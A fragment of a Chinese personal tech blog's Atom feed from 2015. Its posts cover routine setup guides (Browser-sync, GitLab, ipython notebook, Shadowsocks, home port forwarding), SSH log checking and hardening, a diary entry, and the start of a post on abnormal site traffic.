&lt;code&gt;systemctl enable vncserver-x11-serviced.service&lt;/code&gt;&lt;/p&gt;</content><category term="Linux"></category><category term="July"></category></entry><entry><title>Browser-sync Windows 配置</title><link href="https://blog.chenjia.me/articles/150525-154700.html" rel="alternate"></link><published>2015-05-25T15:47:00+08:00</published><updated>2015-05-25T15:47:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-05-25:/articles/150525-154700.html</id><summary type="html">&lt;h1&gt;Browser-sync&lt;/h1&gt;
&lt;p&gt;Browser-sync是基于nodejs的一个自动刷新开发的网页软件。
其基本作用如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;监听网页文件变化，变化后自动注入或者刷新页面 …&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;h1&gt;Browser-sync&lt;/h1&gt;
&lt;p&gt;Browser-sync是基于nodejs的一个自动刷新开发的网页软件。
其基本作用如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;监听网页文件变化，变化后自动注入或者刷新页面&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;高级功能有手机动态调试等。&lt;/p&gt;
&lt;h1&gt;在windows下安装过程&lt;/h1&gt;
&lt;h2&gt;下载node.js&lt;/h2&gt;
&lt;p&gt;去node.js安装下载一个windows安装包，安装~&lt;/p&gt;
&lt;h2&gt;安装Browser-sync&lt;/h2&gt;
&lt;p&gt;在命令提示符中运行命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;npm install -g browser-sync
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;等待完成就好&lt;/p&gt;
&lt;h2&gt;开启测试页面&lt;/h2&gt;
&lt;p&gt;在网页的工作目录下，按住&lt;code&gt;shift&lt;/code&gt;+&lt;code&gt;右键&lt;/code&gt;，选择在此打开命令行&lt;/p&gt;
&lt;p&gt;输入命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;browser-sync start --server --port 4000 --files index.html --files css/main.css
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;其中&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;--port 后面为端口号&lt;/li&gt;
&lt;li&gt;--files 需要监听的文件，默认的其实目录是当前文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;更多命令，使用&lt;code&gt;browser-sync --help&lt;/code&gt;获取&lt;/p&gt;
&lt;h2&gt;使用&lt;/h2&gt;
&lt;p&gt;如果修改后监听到变化，会在cmd窗口中出现对应信息。&lt;/p&gt;
&lt;p&gt;已知：sublime 和vim 保存方式是不会被支持的&lt;/p&gt;
&lt;p&gt;建议：使用notepad++或者eclipse（hbuilder）&lt;/p&gt;</content><category term="May"></category><category term="Nodejs"></category></entry><entry><title>Wifi共享软件导致VMware桥接无法获取ipv6地址</title><link href="https://blog.chenjia.me/articles/150516-194000.html" rel="alternate"></link><published>2015-05-16T19:40:00+08:00</published><updated>2015-05-16T19:40:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-05-16:/articles/150516-194000.html</id><summary type="html">&lt;p&gt;在教育网中，IPV6是一个特别好用的网络，不限速，网络快。
不过今天在配置VMware …&lt;/p&gt;</summary><content type="html">&lt;p&gt;在教育网中，IPV6是一个特别好用的网络，不限速，网络快。
不过今天在配置VMware 10里面的Ubuntu 15.04的时候，发现IPV6无法获得。&lt;/p&gt;
&lt;h1&gt;VMware IPV6正确打开姿势&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;安装支持ipv6的系统&lt;/li&gt;
&lt;li&gt;编辑-虚拟网络编辑器-vmnet0-桥接-选择支持ipv6的网卡&lt;/li&gt;
&lt;li&gt;将对应的虚拟机设置为桥接上网方式，不要复制本地网卡信息&lt;/li&gt;
&lt;li&gt;查看是否可以使用IPV6&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;wifi共享软件导致无法获得ipv6的分配&lt;/h1&gt;
&lt;p&gt;今天我这么配置的时候，发现了我的ubuntu一直无法获得到外网的ipv6地址，只能获取到ipv4地址。&lt;/p&gt;
&lt;p&gt;而且ubuntu内ipv6的地址是内网地址。&lt;/p&gt;
&lt;p&gt;非常奇怪。&lt;/p&gt;
&lt;p&gt;直到我google到一个人在小米论坛里面发的提问帖子，我才恍然大悟。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://bbs.xiaomi.cn/thread-10907185-1-1.html" title="小米随身WiFi导致VMWare在桥接模式的虚拟机无法分到IPv6地址"&gt;http://bbs.xiaomi.cn/thread-10907185-1-1.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这么一说我就想到了我曾经用猎豹wifi过。&lt;/p&gt;
&lt;p&gt;那么简单了，尝试在以太网-属性里面，去掉对应wifi共享程序的协议前面的勾，然后重新让虚拟机连接一下网络。&lt;/p&gt;
&lt;p&gt;成功了。&lt;/p&gt;
&lt;h1&gt;原因是什么？&lt;/h1&gt;
&lt;p&gt;我猜测是IPV6不支持NAT而这些协议并没有跳过IPV6协议的处理，导致当IPV6 广播的时候无法获得ip地址。&lt;/p&gt;</content><category term="Linux"></category></entry><entry><title>搭建gitlab在自己的服务器上</title><link href="https://blog.chenjia.me/articles/150422-203000.html" rel="alternate"></link><published>2015-04-22T20:30:00+08:00</published><updated>2015-04-22T20:30:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-04-22:/articles/150422-203000.html</id><summary type="html">&lt;h1&gt;简介&lt;/h1&gt;
&lt;p&gt;GitLab 是一个完整的开源的git网站框架，简单易部署（大雾 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;简介&lt;/h1&gt;
&lt;p&gt;GitLab 是一个完整的开源的git网站框架，简单易部署（大雾），基本上只要搭建好了就可以公开使用了，效果可以看
&lt;a href="https://gitlab.com/users/sign_in"&gt;https://gitlab.com/users/sign_in&lt;/a&gt;这是他们使用自己框架搭建的，他们的主页是&lt;a href="https://about.gitlab.com/"&gt;https://about.gitlab.com/&lt;/a&gt;里面有文档教程等待的一些东西&lt;/p&gt;
&lt;h1&gt;部署&lt;/h1&gt;
&lt;p&gt;gitlab需求的配置可以在&lt;a href="http://doc.gitlab.com/ce/install/requirements.html"&gt;http://doc.gitlab.com/ce/install/requirements.html&lt;/a&gt;上查看，建议使用ubuntu，毕竟用的人多，其次他们是基于ruby的&lt;/p&gt;
&lt;h2&gt;下载并安装 包&lt;/h2&gt;
&lt;p&gt;官网命令是&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;#下载
wget https://downloads-packages.s3.amazonaws.com/ubuntu-12.04/gitlab_7.9.4-omnibus.1-1_amd64.deb
#安装
sudo dpkg -i gitlab_7.9.4-omnibus.1-1_amd64.deb
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;但是Amazon云很多都被大陆墙了，所以你需要用自己的方法下载deb包&lt;/p&gt;
&lt;h2&gt;第一次启动&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sudo gitlab-ctl reconfigure
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;等待。。。&lt;/p&gt;
&lt;p&gt;然后访问&lt;code&gt;ip:port&lt;/code&gt;进行开启&lt;/p&gt;
&lt;p&gt;如果打不开可能端口被占用了，他需要80端口和8080端口&lt;/p&gt;
&lt;p&gt;更改端口的话比较麻烦~需要修改对应配置&lt;/p&gt;
&lt;p&gt;或者关闭其他占用该端口的服务器，然后修改
&lt;code&gt;vim /etc/gitlab/gitlab.rb&lt;/code&gt; 中的&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;external_url &amp;#39;http://xxx.xx.xx&amp;#39;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;即可&lt;/p&gt;
&lt;h2&gt;第一次登陆&lt;/h2&gt;
&lt;p&gt;使用用户名root，密码5iveL!fe进行登录&lt;/p&gt;
&lt;p&gt;然后修改默认密码，继续登录，即可进入管理界面&lt;/p&gt;</content><category term="April"></category><category term="Linux"></category></entry><entry><title>Ubuntu安装ipython notebook及配置</title><link href="https://blog.chenjia.me/articles/150414-105900.html" rel="alternate"></link><published>2015-04-14T10:59:00+08:00</published><updated>2015-04-14T10:59:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-04-14:/articles/150414-105900.html</id><summary type="html">&lt;h1&gt;ipython notebook&lt;/h1&gt;
&lt;p&gt;ipython 据说是一个比python还好的python软件，支持全平台 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;ipython notebook&lt;/h1&gt;
&lt;p&gt;ipython 据说是一个比python还好的python软件，支持全平台，今天我们要的是配置他的notebook组件，利用其网页端的优势，我们可以实时的演示终端，远程终端，这些都可以在网上搞定的。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;官网：&lt;a href="http://ipython.org/"&gt;http://ipython.org/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;安装&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;安装python3环境，然后安装python的pip(&lt;code&gt;sudo apt-get install python3-pip&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo pip3 install ipython[notebook]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;等待安装成功&lt;/li&gt;
&lt;li&gt;输入&lt;code&gt;ipython3 notebook&lt;/code&gt;测试，成功后可以关闭&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;配置&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;创建配置文件&lt;code&gt;ipython profile create fashioncj&lt;/code&gt;（fashioncj可替换为你的名字）&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;创建密码hash值，输入&lt;code&gt;ipython&lt;/code&gt;进入
    &amp;gt;To generate, type in a python/IPython shell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;IPython.lib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;The string should be of the form type:salt:hashed-password.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;记住生成的数值&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;找到配置文件，用编辑器打开进行编辑&lt;code&gt;~/.ipython/profile_fashioncj/ipython_notebook_config.py&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;修改端口&lt;code&gt;c.NotebookApp.port&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;修改ip&lt;code&gt;c.NotebookApp.ip&lt;/code&gt; 修改为0.0.0.0即可让外网访问&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c.NotebookApp.password&lt;/code&gt; 写入刚才生成的字符串&lt;/li&gt;
&lt;li&gt;修改的配置都要去除掉前面的#号才可以生效，并且去掉行首的空格&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;ipython notebook --profile=fashioncj&lt;/code&gt;启动&lt;/li&gt;
&lt;li&gt;如果需要后台启动使用&lt;code&gt;nohup ipython notebook --profile=fashioncj &amp;amp;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;使用&lt;/h1&gt;
&lt;p&gt;打开浏览器，输入ip：端口即可&lt;/p&gt;
&lt;p&gt;在主页的右边有new选项，里面可以新建终端&lt;/p&gt;</content><category term="April"></category><category term="Linux"></category></entry><entry><title>Sublime Text 3 打印代码</title><link href="https://blog.chenjia.me/articles/150409-162700.html" rel="alternate"></link><published>2015-04-09T16:27:00+08:00</published><updated>2015-04-09T16:27:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-04-09:/articles/150409-162700.html</id><summary type="html">&lt;p&gt;今天突然需要打印smail语言，发现sublime并没有smail语法高亮和打印功能，那么，装插件啦。&lt;/p&gt;
&lt;h2&gt;安装smail语法高亮插件 …&lt;/h2&gt;</summary><content type="html">&lt;p&gt;今天突然需要打印smail语言，发现sublime并没有smail语法高亮和打印功能，那么，装插件啦。&lt;/p&gt;
&lt;h2&gt;安装smail语法高亮插件&lt;/h2&gt;
&lt;p&gt;包管理中安装插件&lt;code&gt;smail&lt;/code&gt;即可&lt;/p&gt;
&lt;h2&gt;安装打印插件&lt;/h2&gt;
&lt;p&gt;试了一下两个打印插件都并不好用，推荐&lt;code&gt;ExportHTML&lt;/code&gt;这个安装后可以直接导出html并且打印，而且有两种配色方案以及3种模式~可供选择&lt;/p&gt;</content><category term="April"></category></entry><entry><title>Android判定当前无线网是否需要验证</title><link href="https://blog.chenjia.me/articles/150331-113000.html" rel="alternate"></link><published>2015-03-31T11:30:00+08:00</published><updated>2015-03-31T11:30:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-03-31:/articles/150331-113000.html</id><summary type="html">&lt;p&gt;之前在写i-wifi的时候，就对这个问题比较疑惑，对此我还专门研究了Andoroid Wifi类的功能。可惜并没有发现相关的东西 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;之前在写i-wifi的时候，就对这个问题比较疑惑，对此我还专门研究了Andoroid Wifi类的功能。可惜并没有发现相关的东西。&lt;/p&gt;
&lt;p&gt;可是别的程序可以做出检测。&lt;/p&gt;
&lt;p&gt;所以最后我就用了ping命令来进行查看是否连上无线却无法访问外网。&lt;/p&gt;
&lt;h2&gt;Android的实现原理&lt;/h2&gt;
&lt;p&gt;今天看到有关讨论android5.1的时候，发现大家提到了这个。&lt;/p&gt;
&lt;p&gt;才知道，google用了一个http 204的状态码，当你连接上无线网络的时候，会去请求网址&lt;code&gt;http://connectivitycheck.android.com/generate_204&lt;/code&gt;或者&lt;code&gt;clients3.google.com/generate_204&lt;/code&gt;来判断是否放回204&lt;/p&gt;
&lt;h2&gt;我们怎么做&lt;/h2&gt;
&lt;p&gt;如果要实现类似的功能，只要搭建一个简单的服务器，返回204就好了，服务器内容流量压力都很小。&lt;/p&gt;</content><category term="Android"></category><category term="March"></category></entry><entry><title>查找手机QQ特别关心铃声</title><link href="https://blog.chenjia.me/articles/150325-131400.html" rel="alternate"></link><published>2015-03-25T13:14:00+08:00</published><updated>2015-03-25T13:14:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-03-25:/articles/150325-131400.html</id><summary type="html">&lt;p&gt;iOS QQ因为苹果限制导致不可以更换特别关心铃声~不过作为程序猿怎么会被限制呢~&lt;/p&gt;
&lt;h1&gt;获得qq特别关心铃声&lt;/h1&gt;
&lt;p&gt;小白步骤 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;iOS QQ因为苹果限制导致不可以更换特别关心铃声~不过作为程序猿怎么会被限制呢~&lt;/p&gt;
&lt;h1&gt;获得qq特别关心铃声&lt;/h1&gt;
&lt;p&gt;小白步骤~
+ root过的手机
+ 在android qq中试听喜欢的铃声
+ 用RE文件管理器或相同的文件管理器进入&lt;code&gt;data/data/com.tencent.mobileqq/files/http:/imgcache.gtimg.cn/club/mobile/special_sound/&lt;/code&gt;目录下
+ 里面就是想要的铃声&lt;/p&gt;
&lt;h2&gt;以下是程序猿的步骤~&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;下载qq android版本&lt;/li&gt;
&lt;li&gt;安装在一个root过的手机里面&lt;/li&gt;
&lt;li&gt;登录qq&lt;/li&gt;
&lt;li&gt;打开特别关心铃声设置页面&lt;/li&gt;
&lt;li&gt;用adb.exe 连接手机&lt;/li&gt;
&lt;li&gt;使用命令 adb.exe shell 进入&lt;/li&gt;
&lt;li&gt;输入命令 &lt;code&gt;cd data/data/com.tencent.mobileqq&lt;/code&gt;进入qq目录&lt;/li&gt;
&lt;li&gt;在手机页面中试听你喜欢的铃声&lt;/li&gt;
&lt;li&gt;使用命令 &lt;code&gt;find -mmin -10&lt;/code&gt;就可以看到文件了~&lt;/li&gt;
&lt;li&gt;然后复制出来就好啦~&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;上图
&lt;img alt="命令行" src="https://i.imgur.com/58JHg54.png"&gt;&lt;/p&gt;
&lt;h1&gt;修改iOS QQ的特别关注铃声&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;用pp助手等工具将MP3文件转为caf格式铃声&lt;/li&gt;
&lt;li&gt;root过的iPhone&lt;/li&gt;
&lt;li&gt;用ifile或者文件管理器打开qq的程序目录&lt;/li&gt;
&lt;li&gt;替换1.caf文件即可~&lt;/li&gt;
&lt;/ul&gt;</content><category term="March"></category><category term="Android"></category></entry><entry><title>shadow(remove)socks同时监听ipv6&amp;4端口</title><link href="https://blog.chenjia.me/articles/150314-164700.html" rel="alternate"></link><published>2015-03-14T16:47:00+08:00</published><updated>2015-03-14T16:48:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-03-14:/articles/150314-164700.html</id><summary type="html">&lt;p&gt;在ipv6网络下我们可以利用ipv6的快速来越过ipv4的速度限制！&lt;/p&gt;
&lt;p&gt;ss监听ipv4 和 ipv6 端口 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;在ipv6网络下我们可以利用ipv6的快速来越过ipv4的速度限制！&lt;/p&gt;
&lt;p&gt;ss监听ipv4 和 ipv6 端口&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;ssserver -p 2123 -k **** -m rc4-md5 -s &amp;#39;::&amp;#39; -d start
ssserver -p 2123 -k **** -m rc4-md5 -s &amp;#39;::&amp;#39; -d stop
&lt;/pre&gt;&lt;/div&gt;</content><category term="Linux"></category><category term="March"></category></entry><entry><title>【2015年3月3日】碎碎念</title><link href="https://blog.chenjia.me/articles/150303-233500.html" rel="alternate"></link><published>2015-03-03T23:35:00+08:00</published><updated>2015-03-03T23:35:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-03-03:/articles/150303-233500.html</id><summary type="html">&lt;h1&gt;一&lt;/h1&gt;
&lt;p&gt;大学最后一个寒假，还有一周的时间。&lt;/p&gt;
&lt;p&gt;在家，过得还不错 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;一&lt;/h1&gt;
&lt;p&gt;大学最后一个寒假，还有一周的时间。&lt;/p&gt;
&lt;p&gt;在家，过得还不错，不过还是和以前一样，永远的拖延症。&lt;/p&gt;
&lt;p&gt;说好的甜点~可惜吃的人不在了~然后就一直没动力做~面粉都买了！！！&lt;/p&gt;
&lt;p&gt;然后论文还是没看，就看了一点书~&lt;/p&gt;
&lt;p&gt;大部分的时间都沉迷于游戏和哔哩哔哩~&lt;/p&gt;
&lt;p&gt;然后~还有聊天~&lt;/p&gt;
&lt;p&gt;不过~导师的任务Panda和AndroidUrl获取的项目，总是以导师的速度前进~其实可以快很多的-。-每次都只花了一天做了一星期的事情&lt;/p&gt;
&lt;p&gt;这次寒假就是体会了一下即将进入社会的样子，同学聚会好像也是这样~小团体小团体玩的特别开心~&lt;/p&gt;
&lt;p&gt;现在玩的好的人应该一辈子都会一起玩吧~&lt;/p&gt;
&lt;h1&gt;二&lt;/h1&gt;
&lt;p&gt;寒假好像没学什么。&lt;/p&gt;
&lt;p&gt;自己的软件还没写。&lt;/p&gt;
&lt;p&gt;就写了一个比较好的通讯录的开源项目&lt;/p&gt;
&lt;p&gt;以及。。Android的wifi密码查看器&lt;/p&gt;
&lt;p&gt;没了。。。&lt;/p&gt;
&lt;p&gt;不过重新回到V2EX，学习了好多~见识了各种各样的大牛和菜鸟~&lt;/p&gt;
&lt;p&gt;不过~&lt;/p&gt;
&lt;p&gt;恭喜V2EX通过GFW认证~HTTPS即可解除烦恼~&lt;/p&gt;
&lt;h1&gt;三&lt;/h1&gt;
&lt;p&gt;ss for me搭建成功&lt;/p&gt;
&lt;p&gt;寒假体会了中国三家运营商的宽带（光纤）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;电信-4m宽带，速度大概到6M，不过上传0.5m、、常理来说就是下载500kb上传40kb的样子~
不过打个电话给客服可以直接换独立动态ip~绑定ddns就可以做你喜欢的事情啦~不过电信网络游戏很稳定·国外出口速度很慢-。-基本300ms上~&lt;/p&gt;
&lt;p&gt;联通光纤（10m）下载速度到16m，上传2m，也就是下载可以到1.7m/s，上传200多k~国外节点还是比较慢的~游戏基本上电信区要加速器~&lt;/p&gt;
&lt;p&gt;移动光纤（6m）下载速度平均800kb/s，上传未测试，国外节点快是唯一的好处~&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;四&lt;/h1&gt;
&lt;p&gt;还有一周开学，大学四年体会到一次放假比谁都早，上学比谁都迟的感觉~
不过还是好孤单，觉得如果没有网络没人陪我的话我会崩溃的吧~&lt;/p&gt;
&lt;p&gt;晚睡还是不行的-。-不过。。莫名其妙就晚睡了~&lt;/p&gt;
&lt;p&gt;心肺能力下降很明显，亚健康体质，这几天一个一个的小病搞定他~&lt;/p&gt;
&lt;p&gt;希望下学期能够做点事情出来~&lt;/p&gt;
&lt;p&gt;驾照，论文，毕业旅行~&lt;/p&gt;
&lt;p&gt;3.11等我回去陪你们玩~&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;2015年3月4日0:27:47 fashioncj&lt;/p&gt;</content><category term="March"></category></entry><entry><title>发现那些尝试登入你SSH的ip</title><link href="https://blog.chenjia.me/articles/150205-002400.html" rel="alternate"></link><published>2015-02-05T00:24:00+08:00</published><updated>2015-02-05T00:24:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-02-05:/articles/150205-002400.html</id><summary type="html">&lt;h1&gt;发现&lt;/h1&gt;
&lt;p&gt;今天看到有人在v2ex说浙江的肉鸡好多~想到当时我的vnc端口也被暴力登录过，就好奇心一下！看了一下我SSH的登录日志 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;发现&lt;/h1&gt;
&lt;p&gt;今天看到有人在v2ex说浙江的肉鸡好多~想到当时我的vnc端口也被暴力登录过，就好奇心一下！看了一下我SSH的登录日志~&lt;/p&gt;
&lt;p&gt;果然惨不忍睹~&lt;/p&gt;
&lt;h2&gt;如何查看暴力登录日志&lt;/h2&gt;
&lt;p&gt;在终端运行：&lt;code&gt;grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其中&lt;code&gt;auth.log&lt;/code&gt;或者&lt;code&gt;auth.log.1&lt;/code&gt;，以及已经被压缩的&lt;code&gt;auth.log.gz&lt;/code&gt;解压后的文件~&lt;/p&gt;
&lt;p&gt;然后你就可以看到密密麻麻的记录了~&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;根据ip查找发现大部分ip都是在大家deny.host里面~
所以我们可以将对应的ip加入到ban列表~也可以用deny host的python脚本~&lt;/p&gt;
&lt;p&gt;比较快速的就是修改端口了~我看了我另外一个vps主机的记录~因为端口变化了所以登录日志就很干净~&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;修改SSh端口，禁止root登陆
这个比较简单，只需要修改&lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;文件就好了&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo vi /etc/ssh/sshd_config&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Port 4484
#这里就该为你认为别人猜不到的端口号
PermitRootLogin no
#这里改为no即为禁止root登陆
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;最后保存，重启
&lt;code&gt;sudo /etc/init.d/ssh restart&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;</content><category term="Linux"></category><category term="February"></category></entry><entry><title>如何在家用宽带中搭建一个个人网站</title><link href="https://blog.chenjia.me/articles/150125-180500.html" rel="alternate"></link><published>2015-01-25T18:05:00+08:00</published><updated>2015-01-25T18:05:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-01-25:/articles/150125-180500.html</id><summary type="html">&lt;p&gt;本文介绍的是普通电信宽带用户获取公网ip及公开端口的解决方案&lt;/p&gt;
&lt;h1&gt;原料&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;中国大陆普通电信宽带&lt;/li&gt;
&lt;li&gt;支持端口转发和DDNS的路由器或者直连电脑&lt;/li&gt;
&lt;li&gt;花生壳等ddns服务 …&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;p&gt;本文介绍的是普通电信宽带用户获取公网ip及公开端口的解决方案&lt;/p&gt;
&lt;h1&gt;原料&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;中国大陆普通电信宽带&lt;/li&gt;
&lt;li&gt;支持端口转发和DDNS的路由器或者直连电脑&lt;/li&gt;
&lt;li&gt;花生壳等ddns服务&lt;/li&gt;
&lt;li&gt;本机电脑上开放某端口&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;可以做什么&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;搭建自己的网站&lt;/li&gt;
&lt;li&gt;自己电脑架设服务器和别人一起连接&lt;/li&gt;
&lt;li&gt;架设samba等文件共享服务器可以在世界各地随时随地访问&lt;/li&gt;
&lt;li&gt;远程桌面自己的电脑&lt;/li&gt;
&lt;li&gt;。。。&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;教学开始&lt;/h1&gt;
&lt;p&gt;遇到不理解的名词可以评论或者百度之~&lt;/p&gt;
&lt;h2&gt;获得一个独立的公网ip&lt;/h2&gt;
&lt;p&gt;电信用户现在大多都是NATip，也就是很多人的ip是&lt;code&gt;100.64.*.*&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如何查看自己的ip情况呢，打开百度，输入ip搜索，你就会看到自己的ip，然后打开电脑（直接拨号的）或者路由器的设置界面，看拨号的ip是否一致，如果一致则说明是公网ip，如果不是则说明是内网ip&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果是内网ip的话电信用户可以打10000转4报修宽带故障，转人工坐席，告诉他要申请外网ip，他就会给你开通，开通后等几个小时断开宽带重新连接就可以看到效果了。&lt;/p&gt;
&lt;h2&gt;配置DDNS&lt;/h2&gt;
&lt;p&gt;这里以小米路由器mini来说明&lt;/p&gt;
&lt;p&gt;首先我们打开&lt;a href="http://www.oray.com/" title="花生壳官网"&gt;http://www.oray.com/&lt;/a&gt;之类的DDNS服务网站，主要先查看你的路由器支持哪家DDNS服务，注册账号，获得DDNS服务&lt;/p&gt;
&lt;p&gt;然后我们将注册的账号密码域名填入路由器设置中，更新时间10分钟到1个小时都可以，强制更新时间一个小时就好，宽带的ip变化其实不是很频繁&lt;/p&gt;
&lt;p&gt;配置完成后我们更新域名的dns服务状态，通过&lt;code&gt;Windows的nslookup 域名或者Linux的dig 域名&lt;/code&gt;看看解析出来的dns是否和宽带的ip一致，dns更新时间和dns服务商有关&lt;/p&gt;
&lt;p&gt;如果一致则更新成功&lt;/p&gt;
&lt;h2&gt;配置端口转发&lt;/h2&gt;
&lt;p&gt;如果你是直连的就无视这一步，如果是路由器的话一台设备的话可以用DMZ全局转发，如果多台设备按照 &lt;code&gt;协议，开放端口，局域网机器的ip，局域网机器服务的端口&lt;/code&gt;来进行配置，一般80端口都是被路由器占用，配置好后要记得保存让之生效&lt;/p&gt;
&lt;p&gt;配置成功后我们可以用&lt;code&gt;telnet 域名 端口&lt;/code&gt;来测试端口是否成功&lt;/p&gt;
&lt;h2&gt;绑定自己的域名&lt;/h2&gt;
&lt;p&gt;如果你申请了自己的域名可以将某一个二级域名的DNS添加一条记录&lt;code&gt;CNAME&lt;/code&gt;到配置好的域名就ok了~dig的时候就可以看到CNAME的跳转了&lt;/p&gt;
&lt;h2&gt;然后配置本机的服务&lt;/h2&gt;
&lt;p&gt;比如游戏服务器的端口，远程桌面的3389，ssh的22端口，goagent的8087~设置好转发就ok~&lt;/p&gt;</content><category term="January"></category><category term="Route"></category></entry><entry><title>Sae网站异常流量分析以及Sql注入和爬虫安全</title><link href="https://blog.chenjia.me/articles/150108-001500.html" rel="alternate"></link><published>2015-01-08T00:15:00+08:00</published><updated>2015-01-08T00:15:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-01-08:/articles/150108-001500.html</id><summary type="html">&lt;h1&gt;云豆不够了？&lt;/h1&gt;
&lt;p&gt;今天早上SAE突然给我发邮件说我的云豆预计7天内用完！逗我呢。。我可是每个月10k云豆的人啊，绝对有问题 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;云豆不够了？&lt;/h1&gt;
&lt;p&gt;今天早上SAE突然给我发邮件说我的云豆预计7天内用完！逗我呢。。我可是每个月10k云豆的人啊，绝对有问题。马上开电脑看，发现我的一个php架构的网站这个月7天用了5000+的云豆，之前的平均水平应该是在每日几十而已。
&lt;img alt="云豆" src="https://i.imgur.com/ZxRi7C1.png"&gt;&lt;/p&gt;
&lt;p&gt;这样不科学，我们肯定要查看为什么，通过SAE的&lt;code&gt;计费统计-资源报表&lt;/code&gt;来进行查看，发现HTTP的流出流量巨大，而且流入流出差距非常大。&lt;/p&gt;
&lt;p&gt;&lt;img alt="流量" src="https://i.imgur.com/OePWy1b.png"&gt;&lt;/p&gt;
